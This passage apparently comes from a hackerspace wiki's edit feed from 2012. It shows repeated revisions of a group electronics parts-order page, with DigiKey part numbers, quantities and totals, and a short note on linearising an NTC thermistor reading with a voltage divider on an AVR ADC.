&lt;br /&gt;
We can also order parts from China at a very low sales price.  However, such orders should be high volume for each part.  [[TaoBao Order]]&lt;br /&gt;
&lt;br /&gt;
= International Distributors =&lt;br /&gt;
&lt;br /&gt;
We usually order from [http://digikey.com DigiKey] (free shipping, fairly cheap) or [http://www.futureelectronics.com Future Electronics] ($50 shipping, very cheap).&lt;br /&gt;
&lt;br /&gt;
Because DigiKey and Future carry different parts, it is not easy to do a cheap order with exactly one part, because sometimes alternative parts exist in the other store that are cheaper.&lt;br /&gt;
List alternative parts in the ''Article Number'' field.  Let's see how that works out.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
Please stick to the following text format, because then we can mass-import the shopping list directly:&lt;br /&gt;
Who, Count, Article Number(s)&lt;br /&gt;
Start your list below:&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
== July/August (pending) ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
nemen, 5, 568-1484-5-ND # IC SHIFT REGISTER 8BIT 16DIP, $0.50&lt;br /&gt;
simon, 20, SE3327-ND # CRYSTAL 77.5000KHZ 11PF CYL, $0.754&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ??? May (pending ?! ) ==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Usr || Qte || Part Number || Description || align=&amp;quot;right&amp;quot; | Price&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || DMN4009LK3-13DICT-ND || MOSFET N-CH 40V 18A DPAK || align=&amp;quot;right&amp;quot; | 1.77&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || NTTFS5811NLTAGOSCT-ND || MOSFET N-CH 40V 53.6A 8DFN || align=&amp;quot;right&amp;quot; | 2.31&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || 785-1040-1-ND || MOSFET N-CH 40V 14A 8-SOIC || align=&amp;quot;right&amp;quot; | 2.85&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || RFD14N05SM9ACT-ND || MOSFET N-CH 50V 14A DPAK || align=&amp;quot;right&amp;quot; | 2.46&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || RFD16N05SM9ACT-ND || MOSFET N-CH 50V 16A TO-252AA || align=&amp;quot;right&amp;quot; | 2.76&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || RFD14N05LSM-ND || MOSFET N-CH 50V 14A TO-252AA || align=&amp;quot;right&amp;quot; | 2.43&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 2 || ED2807-ND || TERM BLOCK HDR 3.81MM 16POS PCB || align=&amp;quot;right&amp;quot; | 3.20&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 4 || ED2875-ND || TERM BLOCK PLUG 3.81MM 2POS || align=&amp;quot;right&amp;quot; | 3.04&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 2 || 609-4061-ND || TERM BLK PLUG 2 POS 3.81MM || align=&amp;quot;right&amp;quot; | 2.38&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 8 || ED2808-ND || TERM BLOCK HDR 3.81MM 2POS PCB || align=&amp;quot;right&amp;quot; | 2.16&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 1 || 281-1939-ND || TERM BLK HDR PCB 2POS 3.81MM GRN || align=&amp;quot;right&amp;quot; | 0.86&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 1 || A98218-ND || TERM BLOCK HDR 4POS R/A 3.81MM || align=&amp;quot;right&amp;quot; | 1.37&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 1 || 609-4069-ND || TERM BLK PLUG 4 POS 3.81MM || align=&amp;quot;right&amp;quot; | 1.66&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 1 || 609-3788-ND || TERM BLOCK PLUG 4POS 3.81MM || align=&amp;quot;right&amp;quot; | 1.47&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 2 || ED2877-ND || TERM BLOCK PLUG 3.81MM 4POS || align=&amp;quot;right&amp;quot; | 2.74&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 2 || 609-3799-ND || TERM BLOCK PLUG 4POS 3.81MM || align=&amp;quot;right&amp;quot; | 2.68&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 4 || ED2810-ND || TERM BLOCK HDR 3.81MM 4POS PCB || align=&amp;quot;right&amp;quot; | 1.92&lt;br /&gt;
|-&lt;br /&gt;
!colspan = &amp;quot;5&amp;quot;| Total 38.06&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==5 April 2012 (completed)==&lt;br /&gt;
''il me faut aussi des borniers à visser, pour du fil normal (max 2mm²) par 2 (15pc), 3 (15pc) et 12 (10pc)? je trouve pas sur digikey :-( si quelqu'un sait où trouver..'' [[User:Petaflot|Petaflot]] 15:52, 4 April 2012 (CEST)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
DL, 10, 360-1816-ND # on-off-on switches&lt;br /&gt;
DL, 3, 	432-1257-ND # off-on-mom switches&lt;br /&gt;
DL, 3, 360-2073-ND # on-on-on switches&lt;br /&gt;
DL, 10, EG2394-ND # mom-off-on SPDT switches&lt;br /&gt;
DL, 3, 360-2080-ND # mom-off-on DPDT switches&lt;br /&gt;
DL, 1, 27931-ND # CO detector will make ND happy ;-)&lt;br /&gt;
DL, 4, LM2596S-ADJ-ND # to fix DC converters..&lt;br /&gt;
DL, 10, 568-1047-5-ND # I²C 8-bit LED driver with linux userspace utilities :-)&lt;br /&gt;
DL, 10, Z995-ND # relay socket, 5 pos through-hole&lt;br /&gt;
DL, 6, Z855-ND # relay socket, 5 pos DIN&lt;br /&gt;
DL, 2, Z2605-ND #relay socket, 8 pos&lt;br /&gt;
DL, 2, Z207-ND # relay socket 8 pos DIN&lt;br /&gt;
DL, 2 Z1637-ND # DPDT relay, 5A&lt;br /&gt;
DL, 10, Z1633-ND # 24V SPDT relay, 10A&lt;br /&gt;
DL, 15, 751-1129-ND #LEDs&lt;br /&gt;
DL, 15, 751-1114-ND #LEDs&lt;br /&gt;
DL, 15, 751-1153-ND #LEDs&lt;br /&gt;
DL, 5, 568-1416-5-ND #demux, active high output&lt;br /&gt;
DL, 5, 296-1600-5-ND #ShiftRegisters&lt;br /&gt;
DL, 5, 296-9217-5-ND # dual analog mux/demux&lt;br /&gt;
DL, 10, ED3114-ND # 14 pin DIP socket&lt;br /&gt;
DL, 10, 3M5463-ND # 16 pin DIP socket&lt;br /&gt;
DL, 10, 3M5476-ND # 18 pin DIP socket&lt;br /&gt;
&lt;br /&gt;
337,78 Euros&lt;br /&gt;
&lt;br /&gt;
NEM, 5, CP3-1000-ND # 2.1mm plug&lt;br /&gt;
NEM, 5 ATTINY13A-PU-ND # ATtiny13&lt;br /&gt;
NEM, 1, LM386N-1-ND # LM386 AMP Audio&lt;br /&gt;
NEM, 3, BH9V-PC-ND # Battery holder&lt;br /&gt;
NEM, 2, 3352T-104LF-ND # 100k variable resistor&lt;br /&gt;
NEM, 2, CP-3536-ND # 3.5mm jack&lt;br /&gt;
NEM, 1, RNF364K-ND # Heat shrink tube&lt;br /&gt;
NEM, 1, RNF012K-ND # Heat shrink tube&lt;br /&gt;
NEM, 5, A100204-ND # 8 pins DIP socket&lt;br /&gt;
&lt;br /&gt;
362,89 Euros, delta = 25.11 Euros&lt;br /&gt;
&lt;br /&gt;
JB, 5, 568-1416-5-ND #demux, active high output&lt;br /&gt;
JB, 5, 296-1600-5-ND #ShiftRegisters&lt;br /&gt;
JB, 20, 751-1129-ND #LEDs&lt;br /&gt;
JB, 20, 751-1114-ND #LEDs&lt;br /&gt;
JB, 20, 751-1153-ND #LEDs&lt;br /&gt;
JB, 10, A32870-ND #16 pins DIP socket&lt;br /&gt;
JB, 1, 438-1022-ND #prototype board&lt;br /&gt;
JB, 1, 299/1 SV005-ND #non insulated wire&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
443,24 Euros, delta = 80.35 Euros&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ND, to many things, I make the order of my items + the current list on wednesday April 4&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Order sent 5th of april @ 00:15&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=Parts_Order&amp;diff=2855</id>
		<title>Parts Order</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=Parts_Order&amp;diff=2855"/>
				<updated>2012-07-20T11:21:54Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: /* ?? May (pending) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= China =&lt;br /&gt;
&lt;br /&gt;
We can also order parts from China at a very low sales price.  However, such orders should be high volume for each part.  [[TaoBao Order]]&lt;br /&gt;
&lt;br /&gt;
= International Distributors =&lt;br /&gt;
&lt;br /&gt;
We usually order from [http://digikey.com DigiKey] (free shipping, fairly cheap) or [http://www.futureelectronics.com Future Electronics] ($50 shipping, very cheap).&lt;br /&gt;
&lt;br /&gt;
Because DigiKey and Future carry different parts, it is not easy to do a cheap order with exactly one part, because sometimes alternative parts exist in the other store that are cheaper.&lt;br /&gt;
List alternative parts in the ''Article Number'' field.  Let's see how that works out.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
Please stick to the following text format, because then we can mass-import the shopping list directly:&lt;br /&gt;
Who, Count, Article Number(s)&lt;br /&gt;
Start your list below:&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
==?? May (pending)==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
simon, 3, EKY-250ELL332MLN3S # CAP ALUM 3300UF 25V 20% RADIAL, $1.21&lt;br /&gt;
simon, 5, MLERED-A1-0000-000V01CT-ND # LED HIGH BRIGHTNESS, $1.09&lt;br /&gt;
simon, 5, XPCRED-L1-0000-00401CT-ND # LED RED XLAMP CLR SMD, $2.43&lt;br /&gt;
simon, 3, XPERED-L1-R250-00701CT-ND # LED XLAMP XP-E RED SMD, $4.00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Usr || Qte || Part Number || Description || align=&amp;quot;right&amp;quot; | Price&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || DMN4009LK3-13DICT-ND || MOSFET N-CH 40V 18A DPAK || align=&amp;quot;right&amp;quot; | 1.77&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || NTTFS5811NLTAGOSCT-ND || MOSFET N-CH 40V 53.6A 8DFN || align=&amp;quot;right&amp;quot; | 2.31&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || 785-1040-1-ND || MOSFET N-CH 40V 14A 8-SOIC || align=&amp;quot;right&amp;quot; | 2.85&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || RFD14N05SM9ACT-ND || MOSFET N-CH 50V 14A DPAK || align=&amp;quot;right&amp;quot; | 2.46&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || RFD16N05SM9ACT-ND || MOSFET N-CH 50V 16A TO-252AA || align=&amp;quot;right&amp;quot; | 2.76&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || RFD14N05LSM-ND || MOSFET N-CH 50V 14A TO-252AA || align=&amp;quot;right&amp;quot; | 2.43&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 2 || ED2807-ND || TERM BLOCK HDR 3.81MM 16POS PCB || align=&amp;quot;right&amp;quot; | 3.20&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 4 || ED2875-ND || TERM BLOCK PLUG 3.81MM 2POS || align=&amp;quot;right&amp;quot; | 3.04&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 2 || 609-4061-ND || TERM BLK PLUG 2 POS 3.81MM || align=&amp;quot;right&amp;quot; | 2.38&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 8 || ED2808-ND || TERM BLOCK HDR 3.81MM 2POS PCB || align=&amp;quot;right&amp;quot; | 2.16&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 1 || 281-1939-ND || TERM BLK HDR PCB 2POS 3.81MM GRN || align=&amp;quot;right&amp;quot; | 0.86&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 1 || A98218-ND || TERM BLOCK HDR 4POS R/A 3.81MM || align=&amp;quot;right&amp;quot; | 1.37&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 1 || 609-4069-ND || TERM BLK PLUG 4 POS 3.81MM || align=&amp;quot;right&amp;quot; | 1.66&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 1 || 609-3788-ND || TERM BLOCK PLUG 4POS 3.81MM || align=&amp;quot;right&amp;quot; | 1.47&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 2 || ED2877-ND || TERM BLOCK PLUG 3.81MM 4POS || align=&amp;quot;right&amp;quot; | 2.74&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 2 || 609-3799-ND || TERM BLOCK PLUG 4POS 3.81MM || align=&amp;quot;right&amp;quot; | 2.68&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 4 || ED2810-ND || TERM BLOCK HDR 3.81MM 4POS PCB || align=&amp;quot;right&amp;quot; | 1.92&lt;br /&gt;
|-&lt;br /&gt;
!colspan = &amp;quot;5&amp;quot;| Total 38.06&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==5 April 2012 (completed)==&lt;br /&gt;
''il me faut aussi des borniers à visser, pour du fil normal (max 2mm²) par 2 (15pc), 3 (15pc) et 12 (10pc)? je trouve pas sur digikey :-( si quelqu'un sait où trouver..'' [[User:Petaflot|Petaflot]] 15:52, 4 April 2012 (CEST)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
DL, 10, 360-1816-ND # on-off-on switches&lt;br /&gt;
DL, 3, 	432-1257-ND # off-on-mom switches&lt;br /&gt;
DL, 3, 360-2073-ND # on-on-on switches&lt;br /&gt;
DL, 10, EG2394-ND # mom-off-on SPDT switches&lt;br /&gt;
DL, 3, 360-2080-ND # mom-off-on DPDT switches&lt;br /&gt;
DL, 1, 27931-ND # CO detector will make ND happy ;-)&lt;br /&gt;
DL, 4, LM2596S-ADJ-ND # to fix DC converters..&lt;br /&gt;
DL, 10, 568-1047-5-ND # I²C 8-bit LED driver with linux userspace utilities :-)&lt;br /&gt;
DL, 10, Z995-ND # relay socket, 5 pos through-hole&lt;br /&gt;
DL, 6, Z855-ND # relay socket, 5 pos DIN&lt;br /&gt;
DL, 2, Z2605-ND #relay socket, 8 pos&lt;br /&gt;
DL, 2, Z207-ND # relay socket 8 pos DIN&lt;br /&gt;
DL, 2 Z1637-ND # DPDT relay, 5A&lt;br /&gt;
DL, 10, Z1633-ND # 24V SPDT relay, 10A&lt;br /&gt;
DL, 15, 751-1129-ND #LEDs&lt;br /&gt;
DL, 15, 751-1114-ND #LEDs&lt;br /&gt;
DL, 15, 751-1153-ND #LEDs&lt;br /&gt;
DL, 5, 568-1416-5-ND #demux, active high output&lt;br /&gt;
DL, 5, 296-1600-5-ND #ShiftRegisters&lt;br /&gt;
DL, 5, 296-9217-5-ND # dual analog mux/demux&lt;br /&gt;
DL, 10, ED3114-ND # 14 pin DIP socket&lt;br /&gt;
DL, 10, 3M5463-ND # 16 pin DIP socket&lt;br /&gt;
DL, 10, 3M5476-ND # 18 pin DIP socket&lt;br /&gt;
&lt;br /&gt;
337,78 Euros&lt;br /&gt;
&lt;br /&gt;
NEM, 5, CP3-1000-ND # 2.1mm plug&lt;br /&gt;
NEM, 5 ATTINY13A-PU-ND # ATtiny13&lt;br /&gt;
NEM, 1, LM386N-1-ND # LM386 AMP Audio&lt;br /&gt;
NEM, 3, BH9V-PC-ND # Battery holder&lt;br /&gt;
NEM, 2, 3352T-104LF-ND # 100k variable resistor&lt;br /&gt;
NEM, 2, CP-3536-ND # 3.5mm jack&lt;br /&gt;
NEM, 1, RNF364K-ND # Heat shrink tube&lt;br /&gt;
NEM, 1, RNF012K-ND # Heat shrink tube&lt;br /&gt;
NEM, 5, A100204-ND # 8 pins DIP socket&lt;br /&gt;
&lt;br /&gt;
362,89 Euros, delta = 25.11 Euros&lt;br /&gt;
&lt;br /&gt;
JB, 5, 568-1416-5-ND #demux, active high output&lt;br /&gt;
JB, 5, 296-1600-5-ND #ShiftRegisters&lt;br /&gt;
JB, 20, 751-1129-ND #LEDs&lt;br /&gt;
JB, 20, 751-1114-ND #LEDs&lt;br /&gt;
JB, 20, 751-1153-ND #LEDs&lt;br /&gt;
JB, 10, A32870-ND #16 pins DIP socket&lt;br /&gt;
JB, 1, 438-1022-ND #prototype board&lt;br /&gt;
JB, 1, 299/1 SV005-ND #non insulated wire&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
443,24 Euros, delta = 80.35 Euros&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ND, to many things, I make the order of my items + the current list on wednesday April 4&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Order sent 5th of april @ 00:15&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=Thermistor&amp;diff=2791</id>
		<title>Thermistor</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=Thermistor&amp;diff=2791"/>
				<updated>2012-07-15T11:42:31Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Objective ==&lt;br /&gt;
&lt;br /&gt;
How to read a NTC thermistor via ADC to get the current temperature.&lt;br /&gt;
&lt;br /&gt;
== Problem ==&lt;br /&gt;
&lt;br /&gt;
* NTCs have a negative exponential behavior [1,2,3].&lt;br /&gt;
&lt;br /&gt;
* When trying to read with the ADC on an AVR, you somehow need to fit the voltage into AVcc, for example using the internal reference at 2.56V.&lt;br /&gt;
&lt;br /&gt;
== Solution ==&lt;br /&gt;
&lt;br /&gt;
[2] suggests combining a resistor with the NTC in parallel to create an approximate linear response for a given temperature range.&lt;br /&gt;
&lt;br /&gt;
I decided to do the math first, and it turns out a voltage divider works like a charm. Set the ADC reference voltage to 2.56V. Then wire the divider up this way:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
5V ----------+&lt;br /&gt;
             |&lt;br /&gt;
        NTC 10k@25C&lt;br /&gt;
             |&lt;br /&gt;
             +----------o ADC&lt;br /&gt;
             |&lt;br /&gt;
            3.6k&lt;br /&gt;
             |&lt;br /&gt;
           __|__&lt;br /&gt;
            ___&lt;br /&gt;
             -&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The 3.6k value can be calculated from [2] and a bit of experimentation.&lt;br /&gt;
&lt;br /&gt;
When you read the ADC (say, 8bit ADC), you'll have to post-process the reading.  BUT! It is already linear.  That means we can easily compute T (in degC):&lt;br /&gt;
&lt;br /&gt;
T = (ADC - 40) &amp;gt;&amp;gt; 2;&lt;br /&gt;
&lt;br /&gt;
Of course, you can decide not to shift and instead have .25 degC resolution.&lt;br /&gt;
&lt;br /&gt;
The resulting temperature reading can be seen in [4] (analysis).&lt;br /&gt;
&lt;br /&gt;
[1] https://secure.wikimedia.org/wikipedia/en/wiki/Thermistor&lt;br /&gt;
&lt;br /&gt;
[2] https://www.avx.com/docs/Catalogs/ntc-general.pdf&lt;br /&gt;
&lt;br /&gt;
[3] http://imgur.com/6efmA.png&lt;br /&gt;
&lt;br /&gt;
[4] http://imgur.com/YlRCY.png&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=Parts_Order&amp;diff=2766</id>
		<title>Parts Order</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=Parts_Order&amp;diff=2766"/>
				<updated>2012-07-12T22:42:48Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: /* ?? May (pending) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= China =&lt;br /&gt;
&lt;br /&gt;
We can also order parts from China at a very low sales price.  However, such orders should be high volume for each part.  [[TaoBao Order]]&lt;br /&gt;
&lt;br /&gt;
= International Distributors =&lt;br /&gt;
&lt;br /&gt;
We usually order from [http://digikey.com DigiKey] (free shipping, fairly cheap) or [http://www.futureelectronics.com Future Electronics] ($50 shipping, very cheap).&lt;br /&gt;
&lt;br /&gt;
Because DigiKey and Future carry different parts, it is not easy to do a cheap order with exactly one part, because sometimes alternative parts exist in the other store that are cheaper.&lt;br /&gt;
List alternative parts in the ''Article Number'' field.  Let's see how that works out.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
Please stick to the following text format, because then we can mass-import the shopping list directly:&lt;br /&gt;
Who, Count, Article Number(s)&lt;br /&gt;
Start your list below:&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
==?? May (pending)==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
simon, 3, EKY-250ELL332MLN3S # CAP ALUM 3300UF 25V 20% RADIAL, $1.21&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Usr || Qte || Part Number || Description || align=&amp;quot;right&amp;quot; | Price&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || DMN4009LK3-13DICT-ND || MOSFET N-CH 40V 18A DPAK || align=&amp;quot;right&amp;quot; | 1.77&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || NTTFS5811NLTAGOSCT-ND || MOSFET N-CH 40V 53.6A 8DFN || align=&amp;quot;right&amp;quot; | 2.31&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || 785-1040-1-ND || MOSFET N-CH 40V 14A 8-SOIC || align=&amp;quot;right&amp;quot; | 2.85&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || RFD14N05SM9ACT-ND || MOSFET N-CH 50V 14A DPAK || align=&amp;quot;right&amp;quot; | 2.46&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || RFD16N05SM9ACT-ND || MOSFET N-CH 50V 16A TO-252AA || align=&amp;quot;right&amp;quot; | 2.76&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || RFD14N05LSM-ND || MOSFET N-CH 50V 14A TO-252AA || align=&amp;quot;right&amp;quot; | 2.43&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 2 || ED2807-ND || TERM BLOCK HDR 3.81MM 16POS PCB || align=&amp;quot;right&amp;quot; | 3.20&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 4 || ED2875-ND || TERM BLOCK PLUG 3.81MM 2POS || align=&amp;quot;right&amp;quot; | 3.04&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 2 || 609-4061-ND || TERM BLK PLUG 2 POS 3.81MM || align=&amp;quot;right&amp;quot; | 2.38&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 8 || ED2808-ND || TERM BLOCK HDR 3.81MM 2POS PCB || align=&amp;quot;right&amp;quot; | 2.16&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 1 || 281-1939-ND || TERM BLK HDR PCB 2POS 3.81MM GRN || align=&amp;quot;right&amp;quot; | 0.86&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 1 || A98218-ND || TERM BLOCK HDR 4POS R/A 3.81MM || align=&amp;quot;right&amp;quot; | 1.37&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 1 || 609-4069-ND || TERM BLK PLUG 4 POS 3.81MM || align=&amp;quot;right&amp;quot; | 1.66&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 1 || 609-3788-ND || TERM BLOCK PLUG 4POS 3.81MM || align=&amp;quot;right&amp;quot; | 1.47&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 2 || ED2877-ND || TERM BLOCK PLUG 3.81MM 4POS || align=&amp;quot;right&amp;quot; | 2.74&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 2 || 609-3799-ND || TERM BLOCK PLUG 4POS 3.81MM || align=&amp;quot;right&amp;quot; | 2.68&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 4 || ED2810-ND || TERM BLOCK HDR 3.81MM 4POS PCB || align=&amp;quot;right&amp;quot; | 1.92&lt;br /&gt;
|-&lt;br /&gt;
!colspan = &amp;quot;5&amp;quot;| Total 38.06&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==5 April 2012 (completed)==&lt;br /&gt;
''il me faut aussi des borniers à visser, pour du fil normal (max 2mm²) par 2 (15pc), 3 (15pc) et 12 (10pc)? je trouve pas sur digikey :-( si quelqu'un sait où trouver..'' [[User:Petaflot|Petaflot]] 15:52, 4 April 2012 (CEST)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
DL, 10, 360-1816-ND # on-off-on switches&lt;br /&gt;
DL, 3, 	432-1257-ND # off-on-mom switches&lt;br /&gt;
DL, 3, 360-2073-ND # on-on-on switches&lt;br /&gt;
DL, 10, EG2394-ND # mom-off-on SPDT switches&lt;br /&gt;
DL, 3, 360-2080-ND # mom-off-on DPDT switches&lt;br /&gt;
DL, 1, 27931-ND # CO detector will make ND happy ;-)&lt;br /&gt;
DL, 4, LM2596S-ADJ-ND # to fix DC converters..&lt;br /&gt;
DL, 10, 568-1047-5-ND # I²C 8-bit LED driver with linux userspace utilities :-)&lt;br /&gt;
DL, 10, Z995-ND # relay socket, 5 pos through-hole&lt;br /&gt;
DL, 6, Z855-ND # relay socket, 5 pos DIN&lt;br /&gt;
DL, 2, Z2605-ND #relay socket, 8 pos&lt;br /&gt;
DL, 2, Z207-ND # relay socket 8 pos DIN&lt;br /&gt;
DL, 2 Z1637-ND # DPDT relay, 5A&lt;br /&gt;
DL, 10, Z1633-ND # 24V SPDT relay, 10A&lt;br /&gt;
DL, 15, 751-1129-ND #LEDs&lt;br /&gt;
DL, 15, 751-1114-ND #LEDs&lt;br /&gt;
DL, 15, 751-1153-ND #LEDs&lt;br /&gt;
DL, 5, 568-1416-5-ND #demux, active high output&lt;br /&gt;
DL, 5, 296-1600-5-ND #ShiftRegisters&lt;br /&gt;
DL, 5, 296-9217-5-ND # dual analog mux/demux&lt;br /&gt;
DL, 10, ED3114-ND # 14 pin DIP socket&lt;br /&gt;
DL, 10, 3M5463-ND # 16 pin DIP socket&lt;br /&gt;
DL, 10, 3M5476-ND # 18 pin DIP socket&lt;br /&gt;
&lt;br /&gt;
337,78 Euros&lt;br /&gt;
&lt;br /&gt;
NEM, 5, CP3-1000-ND # 2.1mm plug&lt;br /&gt;
NEM, 5 ATTINY13A-PU-ND # ATtiny13&lt;br /&gt;
NEM, 1, LM386N-1-ND # LM386 AMP Audio&lt;br /&gt;
NEM, 3, BH9V-PC-ND # Battery holder&lt;br /&gt;
NEM, 2, 3352T-104LF-ND # 100k variable resistor&lt;br /&gt;
NEM, 2, CP-3536-ND # 3.5mm jack&lt;br /&gt;
NEM, 1, RNF364K-ND # Heat shrink tube&lt;br /&gt;
NEM, 1, RNF012K-ND # Heat shrink tube&lt;br /&gt;
NEM, 5, A100204-ND # 8 pins DIP socket&lt;br /&gt;
&lt;br /&gt;
362,89 Euros, delta = 25.11 Euros&lt;br /&gt;
&lt;br /&gt;
JB, 5, 568-1416-5-ND #demux, active high output&lt;br /&gt;
JB, 5, 296-1600-5-ND #ShiftRegisters&lt;br /&gt;
JB, 20, 751-1129-ND #LEDs&lt;br /&gt;
JB, 20, 751-1114-ND #LEDs&lt;br /&gt;
JB, 20, 751-1153-ND #LEDs&lt;br /&gt;
JB, 10, A32870-ND #16 pins DIP socket&lt;br /&gt;
JB, 1, 438-1022-ND #prototype board&lt;br /&gt;
JB, 1, 299/1 SV005-ND #non insulated wire&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
443,24 Euros, delta = 80.35 Euros&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ND, to many things, I make the order of my items + the current list on wednesday April 4&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Order sent 5th of april @ 00:15&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=Parts_Order&amp;diff=2765</id>
		<title>Parts Order</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=Parts_Order&amp;diff=2765"/>
				<updated>2012-07-12T22:42:31Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: /* ?? May (pending) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= China =&lt;br /&gt;
&lt;br /&gt;
We can also order parts from China at a very low sales price.  However, such orders should be high volume for each part.  [[TaoBao Order]]&lt;br /&gt;
&lt;br /&gt;
= International Distributors =&lt;br /&gt;
&lt;br /&gt;
We usually order from [http://digikey.com DigiKey] (free shipping, fairly cheap) or [http://www.futureelectronics.com Future Electronics] ($50 shipping, very cheap).&lt;br /&gt;
&lt;br /&gt;
Because DigiKey and Future carry different parts, it is not easy to do a cheap order with exactly one part, because sometimes alternative parts exist in the other store that are cheaper.&lt;br /&gt;
